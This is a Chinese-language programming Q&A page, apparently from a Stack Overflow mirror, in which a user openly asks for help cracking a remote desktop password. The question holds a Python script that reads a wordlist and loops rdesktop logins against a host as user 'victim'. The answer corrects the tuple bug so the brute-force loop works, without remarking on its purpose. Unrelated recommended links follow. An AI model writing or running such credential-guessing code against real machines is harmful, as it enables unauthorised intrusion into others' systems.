python - 参数 1 必须是字符串,而不是元组
问题描述
我正在尝试用 python 破解远程桌面密码。我的脚本输出出现一个错误。
import os
host = "10.10.10.8"
user = "victim"
passw = "wordlist.txt"
password=open(passw,"r")
for passwords in password.readlines():
print("Testing passwords: ",passwords)
command = "rdesktop -u ", user , " -p " , passwords , host
connect = os.system(command)
解决方案
您的命令变量正在生成一个元组。尝试这样重写:
import os
host = "10.10.10.8"
user = "victim"
passw = "wordlist.txt"
password=open(passw,"r")
for passwords in password.readlines():
print("Testing passwords: ",passwords)
command = "rdesktop -u " + user + " -p " + passwords + " " + host
connect = os.system(command)
推荐阅读
- node.js - 为什么 NPM 模块不能完全平坦,包括依赖项?
- node.js - 如何从 lambda 中的 Secure REST API 获取数据以获取 Alexa 技能?
- reactjs - 为什么 Webpack / Babel 在不需要时将 React 添加到构建中?
- node.js - Cloudinary 节点包出错 - 意外令牌
- c - C 语言中的 UberEats 系统 - 文件处理
- office365 - 通过 Graph API 将规则发布到共享收件箱 - 权限错误
- javascript - js-grid 过滤器不呈现
- django - django 中的 DIRS 和 APP_DIRS 是什么?它有什么用?
- multithreading - 未能延迟初始化 Map 的角色集合
- python - 通过循环上的 SQL 语句传递 Python 列表